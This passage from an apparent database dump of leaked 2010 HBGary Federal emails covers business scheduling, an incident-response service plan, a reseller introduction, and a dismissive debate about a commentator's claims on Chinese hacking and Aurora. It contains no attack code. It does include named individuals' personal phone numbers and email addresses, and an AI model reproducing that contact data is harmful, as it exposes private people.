was effective.  Any countries arsenal for conducting offense operations is diverse to ensure success.  To assume attacks like aurora are not state sponsored because they have folks on the inside is naive.\r\nIn short, he makes assumptions and extrapolates without fact and he shouldn&#39;t.  It is this type of grand standing that gets people skeptical of the security profession.  Stick to what you know and what you can prove.  \r\nAaronSent from my iPadOn May 19, 2010, at 3:19 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nOK Aaron,\r\nWTF do black duck eggs have to do with chinese hackers?\r\n \r\nI have always viewed Ira as a hanger on cry wolfer, has he changed at all?\r\n \r\n-Greg\r\nOn Tue, May 18, 2010 at 4:54 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\nhttp://www.networkworld.com/community/blog/black-duck-eggs-and-other-secrets-chinese-hac\r\n\r\n\r\n\r\n',5543,'aaron_hbgary_com/5543.html'),(6461,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004643.M304738P14101Q1317.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Catch up','Ok I will be around bethesda around 1pm.  Want to grab a late lunch\r\nnearby or I can come to the office.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 18, 2010, at 5:06 PM, \"Etue, David\"\r\n wrote:\r\n\r\n> It looks like I\'m going to be traveling Friday, so tomorrow would be\r\n> better.  I\'m free before 10 AM,  from 1-3, and after 4 PM.  If we meet\r\n> in Bethesda, all of that time is open.  Happy to come meet you in your\r\n> offices or Tysons, but will need to account for some travel time too.\r\n>\r\n> David\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, May 18, 2010 4:56 PM\r\n> To: Etue, David\r\n> Subject: Catch up\r\n>\r\n> Hi Dave,\r\n>\r\n> Thanks for calling yesterday (sorry I was a bit distracted with kids).\r\n> Lets get together this week or early next to talk about Scout and\r\n> integration.  I am pretty open tomorrow and Friday.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',12455,'aaron_hbgary_com/12455.html'),(6462,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004643.M31053P14101Q1316.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,,,','Re: More info on Chinese hackers and how they target fortune 500','\r\nHe is definitely crying wolf.  He has smatterings of truth overlaid with exaggeration.  He makes statements with no basis of fact or figure.  The black egg comment cracks me up.  That was the first indication he has Richard Clarke syndrome, a lone voice, the only man that sees the hidden messages buried in the new york times.  He&#39;s not quite ready for a tin foil hat but he&#39;s working on it.\r\nIf anyone in public knew the amount of spying that was taking place under their nose they would freak out a bit.  That&#39;s the point.  Its supposed to be effective and secret.  Does china have people connected to major US companies?  Should we be very worried about insider threat?  Supply chain? Yes. Yes. And yes.  The problem is certainly more expansive than most realize.  Because it&#39;s complicated and we are certain we have not detected all or even most of their capabilities.  You could assume the same is probably true on their side to a degree.\r\nHis comments about Aurora again tell me a lot about him.  I dont believe he has ever seen how offensive operations are conducted.  Each country likely has their own methodology but the Aurora event was by no means laughable.  It was targeted, tailored, coordinated, and timed.  It was effective.  Any countries arsenal for conducting offense operations is diverse to ensure success.  To assume attacks like aurora are not state sponsored because they have folks on the inside is naive.\r\nIn short, he makes assumptions and extrapolates without fact and he shouldn&#39;t.  It is this type of grand standing that gets people skeptical of the security profession.  Stick to what you know and what you can prove.  \r\nAaronSent from my iPadOn May 19, 2010, at 3:19 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nOK Aaron,\r\nWTF do black duck eggs have to do with chinese hackers?\r\n \r\nI have always viewed Ira as a hanger on cry wolfer, has he changed at all?\r\n \r\n-Greg\r\nOn Tue, May 18, 2010 at 4:54 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\nhttp://www.networkworld.com/community/blog/black-duck-eggs-and-other-secrets-chinese-hac\r\n\r\n\r\n\r\n',21,'aaron_hbgary_com/21.html'),(6463,'2010-05-19','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004643.M522155P14101Q1318.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch up','Lunch sounds good.  I always love Raku, but there are tons of good options also nearby.\r\n\r\nSent from my mobile phone, please excuse any typos.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr \r\nSent: Wednesday, May 19, 2010 8:28 AM\r\nTo: Etue, David \r\nSubject: Re: Catch up\r\n\r\nOk I will be around bethesda around 1pm.  Want to grab a late lunch\r\nnearby or I can come to the office.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 18, 2010, at 5:06 PM, \"Etue, David\"\r\n wrote:\r\n\r\n> It looks like I\'m going to be traveling Friday, so tomorrow would be\r\n> better.  I\'m free before 10 AM,  from 1-3, and after 4 PM.  If we meet\r\n> in Bethesda, all of that time is open.  Happy to come meet you in your\r\n> offices or Tysons, but will need to account for some travel time too.\r\n>\r\n> David\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, May 18, 2010 4:56 PM\r\n> To: Etue, David\r\n> Subject: Catch up\r\n>\r\n> Hi Dave,\r\n>\r\n> Thanks for calling yesterday (sorry I was a bit distracted with kids).\r\n> Lets get together this week or early next to talk about Scout and\r\n> integration.  I am pretty open tomorrow and Friday.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',5479,'aaron_hbgary_com/5479.html'),(6464,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004643.M802467P14101Q1319.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','This solves some of the ops problems','Have to worry about some other issues though such as gps, etc.\r\n\r\nI think would be handy to see if we can spoof gps, etc on these\r\nplatforms.  Are they android?\r\n\r\nAaron\r\n\r\nhttp://news.cnet.com/8301-30686_3-20005349-266.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\n\r\nSent from my iPad\r\n',4776,'aaron_hbgary_com/4776.html'),(6465,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004644.M298999P14101Q1321.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','Hi Arnav,Just tried to reach you but you were not available.  I am free until 1pm also.  Can you try my cell @ 719.510.8478.Aaron\r\nFrom my iPhoneOn May 19, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,\r\nI&#39;m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever&#39;s best 613-755-4007Best,ArnavOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\nHi Arnav,Sure.  Cc&#39;d is the president of HBGary Inc.  They build and manage the product.  Penny will get you the reseller agreement.  We use the HBGary products as our foundation for enterprise incident response engagements.  I will send you some information on this.  Can we talk briefly tomorrow?\r\n\r\nAaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron,Thanks for this. It was good to speak to you on Friday.Looking forward to receiving a reseller agreement/other materials that we can go through.\r\n\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; Analytics\r\nThe SecDev Group\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O&#39;Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice: +1 (613) 755-4007\r\n\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\n\r\nSubject: IntroductionScott,Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\n\r\n\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\n\r\n\r\nAaron\r\n\r\n\r\n',10577,'aaron_hbgary_com/10577.html'),(6466,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004644.M512646P14101Q1322.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','iR capabilities','All,\r\n\r\nTed and I are getting the pieces of our IR capabilities and material\r\ntogether.  We will have this integrated to offer as a service by the\r\nFIRST conference.  It will be very helpful to sit side saddle with\r\nrich/Greg/phil a few times between now and then.\r\n\r\nAt the core will be:\r\nActive defense for enterprise end-point analysis for malware\r\nFidelis scout for network discovery, session reconstruction and traffic analysis\r\nEnd games Sicily for c&c discovery and analysis\r\nPalantir for social/threat mapping\r\n\r\nWe are getting a loaner fidelis box in the next week for integration\r\nas well as getting beta access to the EGS API.  We will work on\r\ndeveloping Palantir helper apps as a secondary function to automate\r\ndata ingest into Palantir.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',7671,'aaron_hbgary_com/7671.html'),(6467,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004644.M67732P14101Q1320.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Catch up','Ok let\'s shoot raku-an 1pm.\r\n\r\nSent from my iPad\r\n\r\nOn May 19, 2010, at 8:42 AM, \"Etue, David\"\r\n wrote:\r\n\r\n> Lunch sounds good.  I always love Raku, but there are tons of good options also nearby.\r\n>\r\n> Sent from my mobile phone, please excuse any typos.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr \r\n> Sent: Wednesday, May 19, 2010 8:28 AM\r\n> To: Etue, David \r\n> Subject: Re: Catch up\r\n>\r\n> Ok I will be around bethesda around 1pm.  Want to grab a late lunch\r\n> nearby or I can come to the office.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 18, 2010, at 5:06 PM, \"Etue, David\"\r\n>  wrote:\r\n>\r\n>> It looks like I\'m going to be traveling Friday, so tomorrow would be\r\n>> better.  I\'m free before 10 AM,  from 1-3, and after 4 PM.  If we meet\r\n>> in Bethesda, all of that time is open.  Happy to come meet you in your\r\n>> offices or Tysons, but will need to account for some travel time too.\r\n>>\r\n>> David\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, May 18, 2010 4:56 PM\r\n>> To: Etue, David\r\n>> Subject: Catch up\r\n>>\r\n>> Hi Dave,\r\n>>\r\n>> Thanks for calling yesterday (sorry I was a bit distracted with kids).\r\n>> Lets get together this week or early next to talk about Scout and\r\n>> integration.  I am pretty open tomorrow and Friday.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',16140,'aaron_hbgary_com/16140.html'),(6468,'2010-05-19','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004644.M753000P14101Q1323.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch up','Perfect - see you then!\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 11:19 AM\r\nTo: Etue, David\r\nSubject: Re: Catch up\r\n\r\nOk let\'s shoot raku-an 1pm.\r\n\r\nSent from my iPad\r\n\r\nOn May 19, 2010, at 8:42 AM, \"Etue, David\"\r\n wrote:\r\n\r\n> Lunch sounds good.  I always love Raku, but there are tons of good\r\noptions also nearby.\r\n>\r\n> Sent from my mobile phone, please excuse any typos.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr \r\n> Sent: Wednesday, May 19, 2010 8:28 AM\r\n> To: Etue, David \r\n> Subject: Re: Catch up\r\n>\r\n> Ok I will be around bethesda around 1pm.  Want to grab a late lunch\r\n> nearby or I can come to the office.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 18, 2010, at 5:06 PM, \"Etue, David\"\r\n>  wrote:\r\n>\r\n>> It looks like I\'m going to be traveling Friday, so tomorrow would be\r\n>> better.  I\'m free before 10 AM,  from 1-3, and after 4 PM.  If we\r\nmeet\r\n>> in Bethesda, all of that time is open.  Happy to come meet you in\r\nyour\r\n>> offices or Tysons, but will need to account for some travel time too.\r\n>>\r\n>> David\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, May 18, 2010 4:56 PM\r\n>> To: Etue, David\r\n>> Subject: Catch up\r\n>>\r\n>> Hi Dave,\r\n>>\r\n>> Thanks for calling yesterday (sorry I was a bit distracted with\r\nkids).\r\n>> Lets get together this week or early next to talk about Scout and\r\n>> integration.  I am pretty open tomorrow and Friday.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',11422,'aaron_hbgary_com/11422.html'),(6469,'2010-05-19','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004645.M154870P14101Q1324.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron,Tried to call you but no luck - are you free tomorrow for a call?ArnavOn 2010-05-19, at 11:23 AM, Aaron Barr wrote:Hi Arnav,Just tried to reach you but you were not available. &nbsp;I am free until 1pm also. &nbsp;Can you try my cell @ 719.510.8478.Aaron\r\nFrom my iPhoneOn May 19, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007Best,ArnavOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\nHi Arnav,Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?\r\n\r\nAaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron,Thanks for this. It was good to speak to you on Friday.Looking forward to receiving a reseller agreement/other materials that we can go through.\r\n\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; Analytics\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\n\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\n\r\nSubject: IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\n\r\n\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.\r\n\r\n\r\nAaron\r\n\r\n\r\n',5335,'aaron_hbgary_com/5335.html'),(6470,'2010-05-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004645.M636959P14101Q1325.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: iR capabilities','Yes!!!  Ted has told me multiple times he wants to go on an engagement.  We\r\ndo not have one at this time, but we have several in the pipeline.  When one\r\narises we will do this\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 8:33 AM\r\nTo: Greg Hoglund; Penny Leavy; Rich Cummings; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: iR capabilities\r\n\r\nAll,\r\n\r\nTed and I are getting the pieces of our IR capabilities and material\r\ntogether.  We will have this integrated to offer as a service by the\r\nFIRST conference.  It will be very helpful to sit side saddle with\r\nrich/Greg/phil a few times between now and then.\r\n\r\nAt the core will be:\r\nActive defense for enterprise end-point analysis for malware\r\nFidelis scout for network discovery, session reconstruction and traffic\r\nanalysis\r\nEnd games Sicily for c&c discovery and analysis\r\nPalantir for social/threat mapping\r\n\r\nWe are getting a loaner fidelis box in the next week for integration\r\nas well as getting beta access to the EGS API.  We will work on\r\ndeveloping Palantir helper apps as a secondary function to automate\r\ndata ingest into Palantir.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',7859,'aaron_hbgary_com/7859.html'),(6471,'2010-05-19','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297004645.M896800P14101Q1326.eml','penny@hbgary.com,greg@hbgary.com,aaron@hbgary.com','New Email Address','HI everyone, I wanted to let you know that I am moving over to Gmail --- my new address is karenmaryburke@gmail.com. My Yahoo address will continue to be active. Thanks, Karen\r\n',11076,'aaron_hbgary_com/11076.html'),(6472,'2010-05-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004646.M169238P14101Q1327.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Penny\'s idea on how to advance TMC development','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nPenny suggested that HBGary, Inc. could subcontract HBG Fed\r\nto do the TMC development work.&nbsp; This would entail having your tech guy\r\n(sorry, I forgot his name) go to Sacramento to do the work there and be paid by\r\nHBGary, Inc.\r\n\r\n&nbsp;\r\n\r\nI like this idea.\r\n\r\n&nbsp;\r\n\r\nBased on a conversation I had with Martin several weeks ago,\r\nthe work appears to be&#8230;&#8230;&#8230;..\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUser interface development\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReplacing Flypaper with REcon\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRebuilding the SQL database so it scales\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware licensing mechanism\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProviding DDNA and REcon output in an open format\r\nsuch as XML\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMethod to filter the data down to a manageable\r\nset used by the customer to feed into their analysis systems \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nImproved reporting\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',297,'aaron_hbgary_com/297.html'),(6473,'2010-05-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004646.M411581P14101Q1328.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,','RE: More info on Chinese hackers and how they target fortune 500','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWell, I did send this to Ping (who was married to Jeff from BH)\r\nbecause they served black eggs at their wedding.&nbsp; Perhaps it wasn&#8217;t a wedding\r\nafter all and just a front for Chinese hackingJ\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 5:14 AM\r\nTo: Greg Hoglund\r\nCc: Martin Pillion; Greg Hoglund; Scott; Shawn Braken; Michael Snyder;\r\nPhil Wallisch; Rich Cummings; Penny C. Hoglund\r\nSubject: Re: More info on Chinese hackers and how they target fortune\r\n500\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHe is definitely crying wolf. &nbsp;He has smatterings of\r\ntruth overlaid with exaggeration. &nbsp;He makes statements with no basis of\r\nfact or figure. &nbsp;The black egg comment cracks me up. &nbsp;That was the\r\nfirst indication he has Richard Clarke syndrome, a lone voice, the only man\r\nthat sees the hidden messages buried in the new york times. &nbsp;He\'s not\r\nquite ready for a tin foil hat but he\'s working on it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf anyone in public knew the amount of spying that was\r\ntaking place under their nose they would freak out a bit. &nbsp;That\'s the\r\npoint. &nbsp;Its supposed to be effective and secret. &nbsp;Does china have\r\npeople connected to major US companies? &nbsp;Should we be very worried about\r\ninsider threat? &nbsp;Supply chain? Yes. Yes. And yes. &nbsp;The problem is\r\ncertainly more expansive than most realize. &nbsp;Because it\'s completed and we\r\nare certain we have not detected all or even most of their capabilities.\r\n&nbsp;You could assume the same is probably true on their side to a degree.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHis comments about Aurora again tell me a lot about him.\r\n&nbsp;I dont believe he has ever seen how offensive operations are conducted.\r\n&nbsp;Each country likely has their own methodology but the Aurora event was by\r\nno means laughable. &nbsp;It was targeted, tailored, coordinated, and timed.\r\n&nbsp;It was effective. &nbsp;Any countries arsenal for conducting offense\r\noperations is diverse to ensure success. &nbsp;To assume attacks like aurora\r\nare not state sponsored because they have folks on the inside is naive.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn short, he makes assumptions\r\nand extrapolates without fact and he shouldn\'t. &nbsp;It is this type of grand\r\nstanding that gets people skeptical of the security profession. &nbsp;Stick to\r\nwhat you know and what you can prove. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 19, 2010, at 3:19 AM, Greg Hoglund &lt;greg@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK Aaron,\r\n\r\n\r\n\r\n\r\n\r\nWTF do black duck eggs have to do with chinese hackers?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have always viewed Ira as a hanger on cry wolfer, has he\r\nchanged at all?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, May 18, 2010 at 4:54 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\n\r\nhttp://www.networkworld.com/community/blog/black-duck-eggs-and-other-secrets-chinese-hac\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1865,'aaron_hbgary_com/1865.html'),(6474,'2010-05-19','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297004646.M729340P14101Q1329.eml','aaron@hbgary.com','Regus : Network Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n Email Template \r\n	\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n		\r\n\r\n			\r\n				\r\n				Regus : New Centre Alert \r\n \r\n				Regus invests in Moscow centre as growth escalates\r\n				Escalating domestic growth in the Russian Federation has prompted global workplace solutions company Regus to open its sixth centre in Moscow.  \r\n				\r\nMany international multinationals have headquarters in the capital, which is poised for recovery in 2010 following city and federal government incentives aimed at transforming it into a world financial centre by 2011. Find out more\r\n				\r\n				\r\n				 \r\n			\r\n					\r\n				This alert is brought to you by Regus.\r\n						 \r\n			\r\n								 \r\n				Regus Group plc and its subsidiaries (\"Regus Group\") respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may opt-out of them at any time by clicking Update Profile.  You can find out more by reading our privacy policy.\r\n  Regus plc (société anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street , St Helier, Jersey , JE4 8PX , Channel Islands Jersey Registered Number: 101523\r\n			\r\n\r\n\r\n		\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9890,'aaron_hbgary_com/9890.html'),(6475,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004647.M244503P14101Q1330.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,,,,,','Re: More info on Chinese hackers and how they target fortune 500','That&#39;s funnySent from my iPadOn May 19, 2010, at 12:48 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWell, I did send this to Ping (who was married to Jeff from BH)\r\nbecause they served black eggs at their wedding.  Perhaps it wasn’t a wedding\r\nafter all and just a front for Chinese hackingJ\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 5:14 AM\r\nTo: Greg Hoglund\r\nCc: Martin Pillion; Greg Hoglund; Scott; Shawn Braken; Michael Snyder;\r\nPhil Wallisch; Rich Cummings; Penny C. Hoglund\r\nSubject: Re: More info on Chinese hackers and how they target fortune\r\n500\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHe is definitely crying wolf.  He has smatterings of\r\ntruth overlaid with exaggeration.  He makes statements with no basis of\r\nfact or figure.  The black egg comment cracks me up.  That was the\r\nfirst indication he has Richard Clarke syndrome, a lone voice, the only man\r\nthat sees the hidden messages buried in the new york times.  He&#39;s not\r\nquite ready for a tin foil hat but he&#39;s working on it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIf anyone in public knew the amount of spying that was\r\ntaking place under their nose they would freak out a bit.  That&#39;s the\r\npoint.  Its supposed to be effective and secret.  Does china have\r\npeople connected to major US companies?  Should we be very worried about\r\ninsider threat?  Supply chain? Yes. Yes. And yes.  The problem is\r\ncertainly more expansive than most realize.  Because it&#39;s completed and we\r\nare certain we have not detected all or even most of their capabilities.\r\n You could assume the same is probably true on their side to a degree.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHis comments about Aurora again tell me a lot about him.\r\n I dont believe he has ever seen how offensive operations are conducted.\r\n Each country likely has their own methodology but the Aurora event was by\r\nno means laughable.  It was targeted, tailored, coordinated, and timed.\r\n It was effective.  Any countries 